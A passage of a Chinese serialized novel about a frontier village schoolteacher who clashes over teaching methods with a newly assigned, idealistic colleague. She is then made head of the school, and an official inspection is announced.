自从舒染获得了荣誉回畜牧连,明显感觉到,连队里一些人看她的眼神多了几分郑重,连赵卫东在生产调度会上,提到启明小学时,语气也稍微缓和了些许。当然,这缓和背后,是“荣誉拿到了,更要顾全大局,不能翘尾巴”的潜台词。 舒染对此心知肚明,她按部就班地经营着她的一亩三分地。牧区孩子渐渐适应,一切都沿着既定的轨道稳步前行。 直到这天下午,一辆团部宣传科机关用车停在了连部门口。 消息是许君君从团部带回来的,她一脸神秘地凑到正在批改学生作业的舒染跟前:“染染,听说你这要来个新老师,上面直接派下来的,据说来头不小!” 舒染笔尖一顿,抬起头。这消息有些突然。启明小学从无到有,一直是她一个人扛过来的,上面从未提过要增派老师。这次直接派人,这意味着什么? “男的女的?”舒染问。 “男的,叫林雪舟。名字听着挺文气。”许君君撇撇嘴,“我偷偷打听了一下,说是要加强基层教育力量,推动教学正规化。我看啊,是看你得了荣誉,有人坐不住了,想来分杯羹,或者……摘桃子?” 舒染摇摇头:“别瞎猜。自从示范点建成,现在咱们连的教育工作繁重,我这边多个老师分担是好事。” 话虽如此,她心里也并非全无波澜。这空降的方式,以正规化的说辞,隐隐让她感觉到不寻常。 第89章 第二天上午, 连部通讯员果然来通知舒染去连部一趟。 舒染走进连部办公室时,看到刘书记、马连长都在,赵卫东也坐在一旁。而他们中间, 站着一个穿着中山装,戴着黑框眼镜的年轻男青年, 面容白净。 “舒染同志来了。”刘书记笑着招呼,“给你介绍一下,这位是林雪舟同志, 团部分配到咱们连启明小学的新教师。林老师和你一样,也是科班出身啊!以后你们就是同事了,要互相学习,共同把咱们连的教育工作搞好。” 林雪舟上前一步, 向舒染伸出手, 带着一种知识分子的矜持:“舒染同志, 你好。久仰大名, 你在基层摸索出的经验, 很值得借鉴。” 他话说得客气, 但“摸索”二字,听在舒染耳中, 却带着一丝不易察觉的居高临下。 “林老师,欢迎。”舒染与他轻轻一握, 神色平静。 马连长打着哈哈:“好了好了,林老师住处已经安排好了, 就在男工宿舍那边。舒染, 你带林老师去学校熟悉熟悉环境,介绍一下情况。” 舒染点点头,领着林雪舟往启明小学走去。 一路上, 林雪舟对连队的环境似乎有些不适应,小心地避开地上的土疙瘩和偶尔跑过的鸡鸭。他看着周围的景象,眉头微蹙。 “畜牧连的条件,比我想象的要艰苦一些。”他评论道。 “习惯了就好。”舒染语气平淡,“孩子们能在这片土地上安心读书,已经不容易。” 走到学校门口,看着那间教室,以及门口那面迎风飘扬的国旗,林雪舟的脚步顿了顿。 “这就是……启明小学?” “是。”舒染推开木门,“地方不大,但能遮风挡雨。” 教室里,孩子们正在石头带领下朗读课文。看到舒染带着一个陌生人进来,朗读声渐渐停下,一双双好奇的眼睛望向林雪舟。 林雪舟走进教室,目光迅速扫过四周,眉头皱得更紧了。 “舒染同志,”他转向舒染,语气变得严肃起来,“这就是目前的教学环境和使用……的教具?” “对。”舒染坦然道,“条件有限,这些都是因地制宜想办法解决的。” 林雪舟摇了摇头,脸上露出一种不赞同的表情:“这不行,舒染同志。教学是严肃的事业,需要规范的环境和标准的教具。用这些……杂物,如何能保证教学质量?如何能体现教育的庄严性?” 孩子们似乎感觉到气氛不对,都安静下来看着这个穿着体面的新老师。 舒染看着林雪舟,眼神锐利起来:“林老师,你说的规范环境和标准教具,在哪里?团部能给批下来吗?如果能,我代表孩子们谢谢你。如果不能,在这些杂物和让孩子们继续在沙地上划字之间,你选哪个?” 林雪舟被问得一噎,白皙的脸上泛起红晕,但他显然有自己的坚持:“困难是客观存在的,但我们不能因此就降低标准,迁就落后!我们可以向上级打报告,申请必要的物资。在教学方式上,也必须规范起来。我看了课程安排,太过随意,缺乏系统性。语文教学怎么能从‘名字’、‘工分’开始?应该从从标准的课文……” “然后呢?”舒染打断他,声音不高,却带着一股沉静的力量,“教会他们念α、o、e,然后让他们回去依然看不懂工分本,记不清自家的牛羊数?林老师,这里的孩子们,他们的父母送他们来上学,第一诉求不是考状元,是希望能认几个字,能算清一笔明明白白的账,能在生活中用上!我的土办法或许不入你的眼,但这是目前最能让他们和他们的家庭看到‘上学有用’的办法!” “你这是实用主义!是短视!”林雪舟有些激动地推了推眼镜,“教育的目的在于开启民智,在于系统的文化传承,而不仅仅是记账算工分!我们不能因为环境艰苦,就放弃了教育的理想和高度!” “理想和高度,是要站在实地才能实现理想的!”舒染寸步不让,她指向教室里的孩子们,“你问问阿迪力,他爸因为他能看懂兽药说明,保住了一窝羊羔有多高兴!你问问栓柱,他能帮他咳血的娘认对药包上的字后,心里有多踏实!你问问巴彦,他第一次写出自己名字时,眼睛有多亮!这些,是不是开启民智?是不是文化传承?” 孩子们听着舒染的话,虽然不能完全明白两个老师在争论什么,但他们能感觉到舒老师是在为他们说话。 石头下意识地挺直了腰板,栓柱紧紧攥住了手里的本子,连阿迪力都抿着嘴,眼神坚定地看着舒染。 林雪舟看着眼前这群孩子,又看看神色凛然的舒染,一时语塞。他准备好的那一套关于教学大纲、课程标准化、教具规范的理论,在这间教室里变得苍白无力。 他深吸一口气,努力维持着风度:“舒染同志,我理解你的出发点。但我们作为教育工作者,眼光应该放得更长远。这件事,我会向连领导和团部反映。教学必须走向正规化。” 舒染迎着他的目光,“随时欢迎林老师向领导反映。也欢迎林老师深入了解这里的孩子和他们的家庭之后,我们再探讨什么才是最适合这里的正规化。” 两人的第一次见面,就不欢而散。 林雪舟沉着脸,转身离开了教室。 舒染站在原地,看着他的背影叹了口气。她知道,麻烦来了。 这不是基于个人恩怨的刁难,而是一种理念分歧的挑战。这个林雪舟有知识、有背景、有他所坚持的理想,他的到来恐怕要比她预想的更棘手。 孩子们围拢过来,有些不安地看着她。 舒染收敛心神,脸上重新露出温和的笑容,拍了拍手:“好了,小插曲过去了。我们继续上课。今天,我们来学写一个新的词,叫做——实事求是。” * 林雪舟没有食言,到校第二天,就向连部提交了一份详尽的《关于提升启明小学教学规范化水平的初步建议》,字里行间引经据典,从教育学原理谈到课程标准,核心诉求明确:□□材,哪怕只是他手抄的标准课本内容、规范课时、摒弃非标准教具。 这份建议书不出意外地首先到了舒染手里,是刘书记让她“看看,提提意见”。 舒染仔细读完,心情复杂。 她承认,林雪舟的理论功底扎实,条理清晰,如果放在条件成熟的现金先进城市学校,这无疑是一份优秀的方案。但在这里…… “林老师的想法很好,”舒染在连部办公室里,面对刘书记、马连长和也在场的赵卫东,语气平和地陈述,“但里面提到的统一拼音教学、使用标准练习本、按课时计划严格推进,目前确实存在困难。我们现有的文具,是能保证每个孩子都有纸笔的前提。如果立刻全部改用需要申请的计划内物资,恐怕很多孩子又要回到用手划字的状态。” 赵卫东首先表态,带着一种“果然如此”的神情:“我看林同志的想法是好的,正规化嘛,方向是对的。但舒染同志说的也是实情,物资紧张,生产任务重,一下子要增加这么多笔墨纸张的消耗,连里也得掂量掂量。” 他巧妙地把皮球踢了回去,既不得罪上面来的林雪舟,也默认了舒染的现实困难。 刘书记打圆场:“好了好了,都是为了工作。这样,林老师,你的建议很好,但具体落实要一步步来。你先熟悉情况,和舒染同志多商量。教学上的事,你们两位老师协调着来。” 这看似和稀泥的决定,实际上是将矛盾的解决权下放到了学校内部。 林雪舟显然对这个结果不甚满意。从连部出来,他追上走在前面的舒染,语气带着坚持:“舒染同志,我认为在教育原则问题上不能妥协。规范的教学是保证质量的基础,我们不能因为暂时的困难,就让孩子们接受不完整的教育。” 舒染停下脚步,转身看着他:“林老师,完整的教育不仅仅是知识的灌输,更是生存能力的赋予和信心的建立。在这里,让孩子们先感受到学习有用,比让他们立刻掌握标准的拼音更重要。这是顺序问题,不是原则问题。” “顺序错了,根基就不稳!”林雪舟反驳,“没有拼音基础,后续的识字教学事倍功半!你这是舍本逐末!” 两人站在坡上,脚下是广袤的戈壁,身后是干打垒的小学教室。 舒染知道,这个林雪舟并非恶意,而是理念差异。他的出发点是为了孩子好,坚信“正规化”才是正途,并非为了争权夺利或个人恩怨。 “那么,实践检验吧,林老师。”舒染不再争论,她指了指教室,“明天的识字课,按你的方法来。我旁听。” 林雪舟推了推眼镜,立刻答应:“好!” 第90章 林雪舟对这场实践检验很重视。 次日一早, 他换上了一身深蓝色中山装,头发梳理得一丝不苟,腋下夹着连夜用工整楷体抄写好的教案, 早早便来到了教室。 舒染则如约坐在了教室最后排一个听课的位置上,准备认真观察。 上课铃敲响, 林雪舟沉稳地走上讲台。他先是扫视了一圈教室,对几个坐姿不够端正的孩子皱了皱眉,然后才清了清嗓子开场:“同学们, 今天,我们开始学习一首优美的古诗。诗歌,是我们中华民族文化的瑰宝,学习诗歌, 可以陶冶情操, 提升我们的文化素养。” 台下的孩子们大多一脸茫然。“陶冶情操”、“文化素养”这些词汇, 对他们来说太过抽象。只有几个年纪大些, 基础稍好的孩子努力坐直了身体, 试图理解。 林雪舟转身, 在黑板上写下诗题和作者——《江南》 汉乐府。 “现在,跟我朗读课题和作者。”林雪舟示范道。 孩子们跟着念, 声音稀稀拉拉。 林雪舟的眉头又蹙了起来,强调道:“声音要洪亮, 要整齐!再来一遍!《江南》——汉乐府——” 这一次,孩子们铆足了劲, 吼了出来。林雪舟似乎满意了些, 开始讲解。 “江南,是一个美丽的地方,在我们国家的南方。那里河流纵横, 湖泊遍布,气候温暖湿润,生长着许多北方见不到的植物。” 他尽量用自己认为浅显的语言解释,但这些词,对这群最远只到过团部,眼中只有戈壁、盐碱地和零星草场的孩子们来说,压根没见过,更加不理解。 “今天我们要学的这首诗,描写的就是江南采莲时的美景。江南可采莲,莲叶何田田……” 他在黑板上画了一片河,又在周围画了一些椭圆的叶子,“莲,就是一种水生植物,叶子很大,浮在水面上,叫荷叶。夏天会开出粉红色或白色的花,叫荷花,非常美丽。花谢之后,结的果实就是莲子,可以吃。” 他描述得越是细致,孩子们脸上的困惑就越深。 阿依曼小声问旁边的哥哥阿迪力:“莲是什么?像骆驼刺吗?” 阿迪力皱着眉头,努力想象,最终摇了摇头,他也没见过。 虎子盯着黑板上的圆圈和叶子,嘀咕道:“这画的是个破了皮的鸡蛋吧?叶子像阿妈烙糊了的饼……” 有几个孩子忍不住偷偷笑了起来。 林雪舟注意到了下面的骚动,脸色沉了下来,用粉笔敲了敲黑板:“安静!认真听讲!下面我们来逐句学习诗意。” “江南可采莲,意思是江南这个地方可以采摘莲蓬了。莲叶何田田,意思是莲叶长得多么茂盛、多么碧绿啊……” 他讲得口干舌燥,试图用语言描绘出一幅江南水乡的画卷。然而,无论他如何描述莲叶,如何比喻其如碧玉盘,如何形容鱼戏莲叶间的灵动,都无法让孩子们想象得到。他们见过最大的水面是涝坝,见过最绿的植物是田埂边的杂草和顽强的红柳,鱼?那是少见的东西。 课堂气氛逐渐变得沉闷。孩子们的眼神开始游离,栓柱偷偷打了个哈欠,小丫玩着自己的手指头,连最认真的石头,眼神里也充满了迷茫。 阿迪力更是彻底放弃了理解,他低下头,用铅笔在废纸的角落,专注地画起了他熟悉的绵羊和牧羊犬。 林雪舟的额角渗出了细汗。他预想过孩子们基础差,但没想过会差到如此地步。他精心准备的教案,他引以为傲的文学赏析,在此刻全部消失了。 他终于忍不住,点了坐在前排,看起来最认真的石头:“石头,你来说说,‘莲叶何田田’这句诗,在你脑海中是怎样的画面?” 石头局促地站起来,努力回想林老师的描述,结结巴巴地说:“就……就是很多……很大的……绿色的……叶子……在水里……” “还有呢?”林雪舟追问,带着一丝期望。 石头憋了半天,终于冒出一句:“……能……能喂羊吗?” 教室里顿时爆发出一阵哄笑。连后排的舒染都忍不住抬手抵住了额头叹了口气。 林雪舟的脸色瞬间变得铁青。他感觉自己的专业和理想受到了前所未有的嘲弄和践踏。 他猛地将教案拍在讲台上,发出的声响让教室瞬间安静下来,孩子们吓得噤若寒蝉。 “胡闹!”林雪舟的声音带着压抑的怒火,“这是诗歌!是艺术!你们……你们简直……” 他看着下面一张张望着他的小脸,后面责备的话终究没能说出口,但失望和挫败感席卷全身。 他深吸一口气平复情绪,但接下来的讲解已经没了最初的激情,变得干巴巴的。这堂课,就在一种尴尬气氛中草草结束了。 下课铃响,林雪舟立刻收拾好东西,一言不发地离开了教室,甚至没有看舒染一眼。 孩子们不敢大声喧哗,只是互相交换着眼神,悄悄议论着刚才那堂听不懂的课和发火的新老师。 舒染坐在原地,没有立刻离开。她看着黑板上那首《江南》,看着孩子们脸上的困惑和畏惧,心情沉重。 她知道林雪舟这堂“标准课”的失败,并不是他个人能力不足,而是他的教育理念与这片土地的现实严重脱节。 他带来了“阳春白雪”,但这里的孩子们,连“下里巴人”都尚未完全掌握。 这场实践检验的结果已经再明显不过。 舒染站起身走到黑板前,拿起一块石灰块在《江南》的写下了“有用”这两个大字。 她转过身面对渐渐围拢过来的孩子们说:“同学们,学习知识,是为了让我们变得更好,让生活变得更好。无论是认识莲叶,还是认识我们戈壁滩上的骆驼刺,只要它能帮助我们理解这个世界,能在生活中用上,就是有用的知识。今天林老师教的诗很美,它可能离我们现在的生活有点远。没关系,我们先学好眼前能抓住的学会的,等我们将来走得远了,见得多了,自然就能读懂江南的莲叶,也能欣赏更多更美的风景。” 孩子们似懂非懂地点着头,舒染也没有立刻去找林雪舟,她知道林雪舟需要时间消化挫败感,她一旦去找林雪舟,就有可能被他视为胜利者的炫耀。 她像往常一样带着孩子们打扫教室,整理那些在林雪舟看来不入流的教具。 下午的课,舒染照常进行。她没有刻意去提林雪舟的教学,而是按照原计划,教孩子们认识农作物的生长发芽与养护。她带来了一些麦粒和苜蓿种子,让孩子们传看触摸,又在黑板画了简笔画,讲解种子如何破土而出。 “就像我们学习知识,”舒染指着几颗麦粒,对孩子们说,“今天认识一个字,明天学会一个数,就像种子在心里发了芽,慢慢长大,总有一天,能变成有用的粮食。” 孩子们眼神里充满了新奇和理解。他们能触摸到,能联想到地里的庄稼,这知识便落了地生了根。 课堂气氛恢复了往日的活跃。下课后,舒染正低头清理讲台上的粉笔灰,一个声音在门口响起。 “舒染同志。” 舒染抬头,看见林雪舟站在门口,脸色依旧有些不好看,但之前的激愤已经褪去,取而代之的是一种复杂的神情。 他换下了那身中山装,穿着一件半旧的工装,似乎想让自己更贴近这里的环境。 “林老师,”舒染放下板擦,“有事吗?” 林雪舟走进教室,目光落在黑板上尚未擦掉的简笔画和讲桌上的种子上。 他沉默了几秒,才开口,声音有些干涩:“今天上午的课……是我考虑不周。” 他能承认这一点,倒让舒染有些意外。她没接话,等着他的下文。 “我……我可能确实不太了解这里孩子的实际情况。”林雪舟推了推眼镜,这是他习惯性的动作,“但我依然认为,基础教育需要系统性,不能永远停留在认工分、识牲畜的层面。这……这终究不是长久之计。” 他的语气里满是困惑。固有的教育理念受到了冲击,他只能试图在理想与现实之间找到一个平衡点,或者说一个能说服自己的理由。 舒染看着玩耍的孩子们,阿迪力正在给巴彦和赛达尔比划着什么。 “林老师,”舒染没有回头,“我没有想过要永远停留在认工分、识牲畜。我只是认为,教育就像盖房子。在这里,我们需要先打下能让房子立住的地基。这个地基,就是让孩子们和他们的家庭对老师的信任。只要让他们知道学习这件事与他们的生活息息相关,是有用的,是能带来好的改变的,我们才能在上面建造系统的文化。” 她转过身,看着林雪舟:“你说这不是长久之计。那什么是长久之计?是让一套脱离他们认知的教材和标准,把他们刚刚燃起的学习兴趣浇灭吗?” 林雪舟张了张嘴,想反驳,却发现无从驳起。上午课堂上孩子们那茫然又畏惧的脸又浮现在眼前。 “我……我需要时间再观察,再想想。”他最终说道,语气不再那么坚定。他看了一眼舒染,眼神复杂,终于还是转身离开了。 舒染知道,这场争论远未结束。林雪舟的“观察”和“想想”,意味着他并不会轻易放弃自己的理念。他只是暂时受挫,一旦找到自认为合适的方式,他一定会再次尝试推行他的正规化。 而连队领导的态度也暧昧不明。刘书记的和稀泥,马连长的务实,赵卫东乐见其成的制衡……这一切都意味着,启明小学往后的日子,不会因为多了一个科班出身的老师而变得轻松,反而可能因为理念的拉扯,增添更多的变数。 晚上,舒染在煤油灯下备课。许君君端着药箱进来给她换手上的药——长时间制作教具让她的手指又添了新伤。 “听说那位林老师今天吃瘪了?”许君君一边给她涂抹药膏,一边压低声音问,带着点幸灾乐祸。 “谈不上吃瘪。”舒染摇摇头,“只是他的方法在这里水土不服。” “我看他就是书呆子气!以为自己念过几天洋书就了不起了,看不起咱们的土办法。”许君君哼了一声,“染染,你可不能让他牵着鼻子走!孩子们就认你!” “问题不在于谁牵谁的鼻子。”舒染看着许君君,目光沉静,“在于什么方法对孩子们真正有益。林老师有他的道理,只是需要时间明白我的道理是什么。” 她说着,嘴角泛起一丝笑意:“不过,他想用他的‘正规’来取代我的‘土法’也没那么容易。毕竟在这里能抓住老鼠的,才是好猫。”《 》 90-100 第91章 林雪舟的正规化教学尝试受挫, 并未让他偃旗息鼓,反而让他转变了策略。 他不再急于在课堂上全面推行自己的那一套,而是开始观察舒染的教学。同时, 也更频繁地往连部跑,找刘书记、马连长, 甚至赵卫东汇报思想,交流“对学校未来发展的一些不成熟的想法”。 舒染冷眼旁观,心里明镜似的。林雪舟这是在走上层路线, 试图通过影响领导来为他的理念铺路。 他那些“不成熟的想法”,核心无非还是教材正规化、教学标准化,只不过包装得更加委婉,更侧重于“长远规划”和“与上级精神接轨”。 又过了一阵子, 他开始自行其是, 利用下午自习时间, 给几个他认为有潜力的孩子开小灶, 教授拼音和简单的算术规律, 使用的正是他手抄的标准教材。 这导致了一个混乱的局面:上午舒染教实用的生活词汇和简单计算, 下午林雪舟则灌输系统知识。孩子们本就有限的学习精力被分散,年龄小基础差的孩子更是晕头转向, 连上午学的东西都混淆了。石头私下里找舒染,困惑地问:“老师, 下午林老师教的α、o、e,和我们这节课学的有关系吗?” 舒染意识到, 问题不仅在于教学理念的分歧, 更在于管理职责的模糊。两个人都是老师,没有主次,没有分工, 就像一辆马车有了坚持不同方向的车夫,只会原地打转,甚至倾覆。 她必须拿到明确的管理权限,□□学步调,这不仅是为了自己,也是为了让孩子们收益。 机会很快来了,又到了每月去师部教育科述职的日子。 这次,舒染的准备格外充分。她不仅带上了例行的工作汇报,还精心整理了一份《关于启明小学当前教学状况及优化管理之建议》的书面材料。 材料里,她客观描述了学生构成复杂、基础差异巨大的现状,列举了目前采用生活化、实用化的教学法所取得的实际成效,如孩子们能辨认工分票、记录简单家庭账目、帮家里看懂农药标签等,也坦然提到了与林雪舟老师在教学理念和方法上存在的分歧,以及由此带来的教学计划不统一、学生无所适从等问题。 她不指责林雪舟,而是将问题聚焦于缺乏统一协调和明确分工,影响教学效率与效果。 到了师部,舒染先按部就班地进行常规述职,汇报了学生巩固、扫盲班进展等情况。孙处长听着,偶尔点头,末了照例勉励几句。 眼看汇报就要结束,舒染适时拿出了那份补充建议,双手递上:“孙处长,这是我对启明小学下一步发展的一些不成熟的想法,特别是关于教学管理和人员分工方面的,请您审阅。” 孙处长接过材料,扶了扶眼镜,仔细看了起来。 舒染安静地等待着。 良久,孙处长抬起头看向舒染:“舒染同志,你的意思我明白了。你是觉得,现在的示范点里,需要有个能拿总、能负责的人?” “是,处长。”舒染迎着他的目光,语气诚恳,“启明小学现在有两位老师,是好事,但力量需要用在一处。无论是坚持现有方法,还是尝试林老师的新思路,都需要一个统一的规划和安排。否则内耗大于合力,最终受损的是孩子们的学习。我需要一个名分,不是为了个人,是为了能把学校的工作更好地统筹起来,明确我和林老师各自的职责范畴,形成合力。” 她没有直接说自己要什么,但这个意思已经不言而喻。 孙处长沉吟着,手指在桌面上轻轻敲击。他当然明白舒染的意图,也清楚基层工作的复杂性。舒染的工作成绩有目共睹,她虽然用的是土办法,但在畜牧连那个特定环境下确实有效。林雪舟是他这边安排下去的,本意是加强力量,现在看来,反而引发了新问题。 “嗯……”孙处长缓缓开口,“你的考虑有道理。学校虽小,五脏俱全,没有个负责的人确实不行。这样吧,你们畜牧连启明小学教学点,就正式设一个负责人。由连队党支部提名,报教育科备案。我看,你就先把这副担子挑起来。” 舒染心头一松,立刻表态:“谢谢处长信任!我一定尽全力做好工作,团结林雪舟同志,把启明小学办好!” “好,”孙处长点点头,语气严肃了几分,“既然负责,就要担起责任。既要坚持有效的做法,也要有胸怀吸收合理的建议。林雪舟同志科班出身,理论知识扎实,你们要搞好团结,互相学习。” “我明白,处长。”舒染郑重应下。 走出教育科办公室,舒染反而没有感到轻松。孙处长虽然点了头,但“负责人”这个名头,还需要连队党支部的正式提名和手续。而且她对林雪舟的背景依旧心存疑虑。他来得太突然,态度太坚定,背后是否真有推力? 她决定去找杨振华。作为宣传科的干事,杨振华消息灵通,或许知道些什么。 在宣传科门口,她恰好遇到了抱着一摞文件出来的杨振华。 “舒染?来述职?”杨振华看到她,脸上露出笑容。 “嗯,刚汇报完。”舒染看了看左右,压低声音,“杨干事,有点事想向你打听一下。方便说几句话吗?” 杨振华会意,将她带到走廊僻静处:“什么事,你说。” “是关于我们学校新来的林雪舟老师。”舒染开门见山,“他……是什么来头?团部直接派下来,总觉得有点不寻常。” 杨振华闻言,露出了一个“果然如此”的表情,他也压低了声音:“你问到点子上了。这个林雪舟,是林副政委的侄子。” 舒染心头一跳。林副政委是分管文教卫的师领导之一,位高权重。 “不过,”杨振华话锋一转,语气带着点微妙,“你也别想太多。林副政委为人正派,把侄子塞到最艰苦的畜牧连,倒不像是单纯去‘摘桃子’的。我听说,是林雪舟自己坚决要求下基层,他这个人……有点知识分子的清高和理想主义,可能觉得在基层才能实现他的教育抱负吧。林副政委大概也是想让他去摔打摔打,磨磨性子。” 原来如此。舒染恍然。关系户是真,但并非怀着来抢夺果实的心思,反而带着点理想青年下乡的色彩。林雪舟身上那股“书生气”和坚持“正规化”的执念倒也说得通了。 “我明白了,谢谢杨干事。”舒染心里有了底。这样一个林雪舟,虽然麻烦,但并非不可沟通,甚至可能成为一股积极的力量,前提是……要把他用在合适的地方。 “客气什么。”杨振华笑了笑,意味深长地补充道,“你现在是负责人了,怎么用统筹工作,可得费点心思。” 舒染回到畜牧连时,已是傍晚。她先去连部,向刘书记和马连长汇报了师部同意设立学校负责人的决定。 刘书记和马连长对此没有异议,刘书记当场表示:“舒染同志你的能力我们都清楚,这个负责人非你莫属。明天我们就开个支委会,走个程序,正式提名你。” 眼看着名分就要落到实处。接下来,就是如何安排那位背景特殊,理念迥异的林雪舟了。 舒染看着窗外渐沉的夕阳,心中已有了盘算。 连队党支部的提名程序走得很快。第二天下午,刘书记就在启明小学教室里,当着舒染和林雪舟的面,正式宣布了任命。 “根据师部教育科的意见和连队党支部研究决定,任命舒染同志为启明小学示范点负责人,全面主持示范点的日常工作。林雪舟同志,你要积极配合舒染同志的工作。” 林雪舟站在台下,听着任命,脸上没什么表情,只是扶了扶眼镜,微微点了点头。这个结果,他似乎并不意外。 刘书记走后,教室里只剩下舒染和林雪舟,以及一群好奇张望的孩子。 舒染走到讲台前,目光平静地看向林雪舟:“林老师,现在我们是一个正式的集体了。为了学校工作能更好开展,我们需要明确一下分工。” 林雪舟抬起头,眼神里带准备据理力争的戒备:“舒负责人请讲。” 舒染忽略了他语气里的抵触,直接说道:“教学上,我们按学生基础和需求,进行初步分组。你理论知识扎实,负责给有一定基础、接受能力强的孩子进行系统性的知识拓展和巩固,比如石头、春草这几个大孩子。拼音、基础算术规律、还有你准备的文学赏析,都可以纳入你的教学范畴。” 这个安排部分认可了林雪舟的价值,将他擅长的领域划给了他,避免了他再去教那些完全零基础,需要大量生活化引导的孩子,减少了直接冲突的可能。 林雪舟愣了一下,似乎没想到舒染会主动将系统性教学的任务交给他。他沉吟片刻,点了点头:“可以。” “另外,”舒染继续道,“学校的教务管理、与连队和牧区的沟通协调、以及扫盲班的主要工作,由我负责。但需要你协助的是,将我们教学中行之有效的方法,还有孩子们的学习情况,进行记录和初步整理。你文笔好,这方面希望你能多出力。我们定期汇总,可以作为向师部汇报的材料,也可以为以后可能编写更适合本地情况的教材积累素材。” 舒染思虑的是:要发挥林雪舟笔头好的特长,让他有事可做。同时,这也是一种约束,让他意识到自己的工作成果是与整个学校,与她这个负责人捆绑在一起的。 林雪舟再次推了推眼镜,这次的动作像是在权衡什么。记录和整理,这工作听起来琐碎,但确实符合他注重规范和总结的习惯。 “我没意见。”他最终说道,语气缓和了不少。 “好。”舒染脸上露出微笑,伸出手,“那以后,就让我们分工合作,共同努力,把孩子们教好。” 林雪舟看着舒染伸出的手,犹豫了一瞬,还是伸手与她一握。 教室门口的光线一暗,一个身影走了进来。 是陈远疆。他似乎是刚巡逻回来,军装下摆还沾着些许尘土,眼神惯性地扫过教室,先在舒染脸上停留一瞬,然后落在一旁的林雪舟身上。 陈远疆目光的如常,但细看之下,似乎比平时多了一丝审视。 “陈特派员?”舒染有些意外他会这个时间出现。 “嗯。”陈远疆应了一声,算是打过招呼,他走到讲台旁,像是随手检查了一下,语气平淡:“听说定了负责人,过来看看。这门窗还牢固?” 他这话像是例行公事的关心。 “挺牢固的,谢谢陈特派员关心。”舒染回答,心里琢磨着他的来意。 陈远疆的视线这才正式转向林雪舟,语气依旧是公事公办的调子:“林雪舟同志,初来乍到,还习惯?” 林雪舟对上陈远疆的目光,似乎感受到了一种无形的压力,他下意识地挺直了背脊,推了推眼镜:“还好,正在适应。谢谢陈特派员关心。” “嗯。”陈远疆又只是应了一声,随即转向舒染,话却是对着两人说的,“学校工作责任重,尤其是安全。舒染同志现在担子更重了,林同志要多协助。”他顿了顿,像是忽然想起什么,补充道,“师部杨干事前几天还问起学校情况,倒是关心。” 他这话说得突兀,语气也没什么起伏,但“杨干事”三个字落在舒染耳中,却品出了一点不同寻常的味道。 她抬眼看向陈远疆,他却已经移开了目光。 “杨干事是挺关心我们工作的。”舒染顺着他的话应了一句,心下却有些好笑,这人是在提醒她杨振华的热心,还是……别的? 陈远疆不再多言,冲两人微一颔首:“你们忙。”说完,便转身大步离开了。 舒染收回目光,压下心头那点异样,重新看向林雪舟,“那么剩下的时间,林老师就自由安排吧。” 林雪舟还沉浸在刚才与陈远疆那短暂的接触中,闻言回过神来,脸上恢复了矜持:“好的。” 分工明确后,学校的运转果然顺畅了许多。林雪舟将他带的几个提高组孩子组织起来,在教室一角开辟了个学习角教他们拼音和算术。当他开始着手记录教学日志时,也不得不更仔细地观察舒染如何给那些基础薄弱的孩子上课。 舒染则腾出更多精力,统筹全校课程,加强与王大姐、老阿肯等关键人物的联系,稳固扫盲班,并开始思考如何利用林雪舟整理的材料,进一步优化她的教学。 几天后的傍晚,舒染在从连部回宿舍的路上,又遇到了陈远疆。这次他像是特意等在那里。 “陈特派员。”舒染打招呼。 陈远疆转过身,看着她,沉默了几秒,才开口,“林雪舟是林副政委的侄子。” 舒染点点头:“我听说了。” “他为人……还算正派。”陈远疆继续道,“就是书生气重,有时比较固执。你用他的话要讲究方法。”他停顿了一下,像是无意间提及,“比那个杨干事,可能还强点。” 舒染这次几乎可以肯定,他话里有话。最后那句对比杨振华,更是欲盖弥彰。 她忍不住看向他隐在暮色中的侧脸:“陈干事好像对杨干事印象不太好?” 陈远疆身形似乎僵了一下,随即恢复常态,语气硬邦邦的:“谈不上印象。” 他顿了顿,终于转过头,目光沉沉地看向舒染,“你现在……肩上的担子不轻,凡事多留个心眼。” “我知道。”舒染迎着他的目光,语气也柔和下来,“谢谢。” 陈远疆似乎被她这声“谢谢”弄得有些不自在,迅速移开视线,含糊地“嗯”了一声,几乎是有些仓促地说了句“走了”,便很快消失在夜色里。 舒染看着他消失的方向,没忍住笑了出来。这人明明是想表达关心,偏要摆出一副公事公办的面孔,还别扭地扯上杨干事和林雪舟作比较,那点小心思,简直是欲盖弥彰。 舒染拢了拢衣襟,脚步轻快地朝宿舍走去。 第92章 舒染被任命为启明小学示范点负责人没几天后, 舒染就听说师部林副政委要亲自下来考察工作,重点就是启明小学示范点。 这个消息最初是从连部传出来的。刘书记和马连长被叫到团部开了紧急会议,回来时脸色都透着郑重。连一向只盯着生产指标的赵卫东, 也破天荒地主动找到舒染,语气罕见地带着商榷:“舒染同志, 林副政委这次来,意义重大!学校的方方面面,一定要体现出我们畜牧连的最高水平!你看, 教室外墙是不是再粉刷一遍?学生的作业本,能不能统一换成新的?还有那些……” 他目光扫过墙角装石灰块的木盒和孩子们自制的骨炭笔,眉头拧成了疙瘩,“这些不太上台面的东西, 是不是先收起来?” 舒染心中了然。林副政委为何而来, 她心知肚明, 多半是为了他那下基层磨炼的侄子林雪舟。 但她不能点破, 只是平静地回答:“赵主任, 粉刷外墙需要石灰和人工, 连里能协调吗?新的作业本,供销社的配额恐怕不够。至于教具, 都是孩子们平时学习要用的,收起来, 上课用什么?” 赵卫东被问住了,烦躁地摆摆手:“总之, 你想办法!一定要给领导留下好印象!这可是关系到我们连队荣誉的大事!学校里缺些什么你把清单列出来报给我!” 连队的气氛绷紧。各种小道消息开始流传: “听说林副政委管着全师的文教卫, 手里指标多!” “这次考察好了,没准能给咱们连多拨点教育经费!” “说不定还能给连队里批点生产资源!” 也有人惴惴不安: “可别出什么岔子,领导不满意, 咱们都得吃挂落。” “舒老师那套土办法,能入得了大领导的眼吗?” 舒染感受到了一种无形的压力,这压力不仅来自上级考察,更来自连队上下那种期盼与惶恐交织的情绪。 她找了个机会,悄悄把许君君拉到一边。 “君君,林副政委这次来,八成是为了林雪舟。”舒染压低声音,“你心里有数就行,别往外说。” 许君君眼睛瞪圆了,随即露出一副“果然如此”的表情:“我就说嘛!天上掉下个林妹妹……啊呸,林哥哥,果然不简单!原来是钦差大臣驾到!这下连里可要鸡飞狗跳了!” 她随即又担心地看着舒染,“染染,那你怎么办?你那套有用才学的教学方法,能过关吗?” “过关不是目的,让孩子们真正学到东西才是。”舒染眼神坚定,“该怎么样,还怎么样。最多把环境收拾得更整洁些。” “成!我支持你!”许君君点点头,随即眼珠一转,“卫生室那边你放心,我保证弄得干干净净,该藏的……呃,该收好的药品绝对收好,保证让咱们的小小卫生员的共做显得正规!” 